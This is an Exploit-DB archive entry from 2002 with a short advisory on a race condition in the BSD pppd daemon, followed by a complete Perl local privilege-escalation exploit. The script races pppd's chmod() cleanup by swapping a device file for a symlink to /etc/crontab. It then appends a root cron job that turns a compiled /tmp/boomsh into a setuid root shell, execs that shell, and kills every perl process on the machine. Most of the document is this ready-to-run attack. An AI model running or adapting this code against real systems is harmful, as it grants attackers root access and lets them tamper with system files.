FreeBSD 4.x / NetBSD 1.4.x/1.5.x/1.6 / OpenBSD 3 - pppd Arbitrary File Permission Modification Race Condition

EDB-ID:

21669




Platform:

BSD

Date:

2002-07-29


source: https://www.securityfocus.com/bid/5355/info

A vulnerability has been reported in some versions of the pppd daemon included with multiple BSD distributions.

A race condition error in the code may result in the pppd process changing the file permissions on an arbitrary system file. pppd will generally run as a privileged user.

This issue has been reported in OpenBSD versions 3.0 and 3.1. Earlier versions of OpenBSD may share this vulnerability, this has not however been confirmed. 

#!/usr/bin/perl

# Local root exploit for AnyBSD. Tested on my 4.3 FBSD homebox.
#
# (C) 2002 Sebastian Krahmer -- stealth at segfault dot net ;-))
#
# NOT for abuse but for educational purposes only.
#
# Exploit description:
#
# The BSD pppd allows users to open any file even if its root owned.
# It then tries to set apropriate terminal attributes on the filedescriptor
# if a connection-script is given. As if it isn't bad enough that it allows
# you to open roots console for example it also has a race: If the tcgetattr()
# fails it calls some cleanup routines which use chown() to restore the mode
# of the terminal (at least it ASSUMES it is an terminal). It should rather use
# the tty_fd to restore the mode because between open() and tcgetattr failure+chown()
# we link the file to /etc/crontab which will then have the mode of the former file
# (which is probably 0666 :)

# Some code snippets.
#
# The vulnerable open():
# ...
#        /*
#         * Open the serial device and set it up to be the ppp interface.
#         * First we open it in non-blocking mode so we can set the
#         * various termios flags appropriately.  If we aren't dialling
#         * out and we want to use the modem lines, we reopen it later
#         * in order to wait for the carrier detect signal from the modem.
#         */
#       while ((ttyfd = open(devnam, O_NONBLOCK | O_RDWR, 0)) < 0) {
#            if (errno != EINTR)
#                syslog(LOG_ERR, "Failed to open %s: %m", devnam);
#            if (!persist || errno != EINTR)
#                goto fail;
#       }
# ...
# close_tty() which is called during cleanup because tcgetattr() of
# the fd will fail:
#
# static void
# close_tty()
# {
#    disestablish_ppp(ttyfd);
#
#   /* drop dtr to hang up */
#    if (modem) {
#        setdtr(ttyfd, FALSE);
#        /*
#         * This sleep is in case the serial port has CLOCAL set by default,
#         * and consequently will reassert DTR when we close the device.
#         */
#        sleep(1);
#    }
#
#    restore_tty(ttyfd);
#
#    if (tty_mode != (mode_t) -1)
#        chmod(devnam, tty_mode);
#
#    close(ttyfd);
#    ttyfd = -1;
# }
#
# The chmod() bangs.
# Fix suggestion: use fchmod() instead of chmod() and do not allow
# users to open root owned files.



# ok, standard init ...
umask 0;

chdir("$ENV{HOME}");
system("cp /etc/crontab /tmp/crontab");

# create evil .ppprc to catch right execution path in pppd
open O, ">.ppprc" or die $!;
print O "/dev/../tmp/ppp-device\n".
        "connect /tmp/none\n";

close O;

print "Starting ... You can safely ignore any error messages and lay back. It can take some\n".
      "minutes...\n\n";

# create a boomsh to be made +s
create_boomsh();
 
# fork off a proc which constantly creates a mode 0666
# file and a link to /etc/crontab. crontab file will "inherit"
# the mode then
if (fork() == 0) {
	play_tricks("/tmp/ppp-device");
}


# fork off own proc which inserts command into crontab file
# which is then executed as root
if (fork() == 0) {
	watch_crontab();
}

my $child;

# start pppd until race succeeds!
for (;;) {
	if (($child = fork()) == 0) {
		exec ("/usr/sbin/pppd");

	}
	wait;
	last if (((stat("/tmp/boomsh"))[2] & 04000) == 04000);
}

# ok, we have a lot of interpreters running due to fork()'s
# so kill them...
if (fork() == 0) {
	sleep(3);
	system("killall -9 perl");
}

# thats all folks! ;-)
exec("/tmp/boomsh");


###

sub create_boomsh
{
	open O, ">/tmp/boomsh.c" or die $!;
	print O "int main() { char *a[]={\"/bin/sh\", 0}; setuid(0); ".
	        "system(\"cp /tmp/crontab /etc/crontab\"); execve(*a,a,0); return 1;}\n";
	close O;
	system("cc /tmp/boomsh.c -o /tmp/boomsh");
}

sub play_tricks
{
	my $file = shift;
	for (;;) {
		unlink($file);
		open O, ">$file";
		close O;

		# On the OpenBSD box of a friend 0.01 as fixed value
		# did the trick. on my FreeBSD box 0.1 did.
		# maybe you need to play here
		select undef, undef, undef, rand 0.3;
		unlink($file);
		symlink("/etc/crontab", $file);
	}
}

sub watch_crontab
{
	for (;;) {
		open O, ">>/etc/crontab" or next;
		print "Race succeeded! Waiting for cron ...\n";
		print O "\n* * * * * root chown root /tmp/boomsh;chmod 04755 /tmp/boomsh\n"; 
		close O;
		last;
	}
	exit;	
}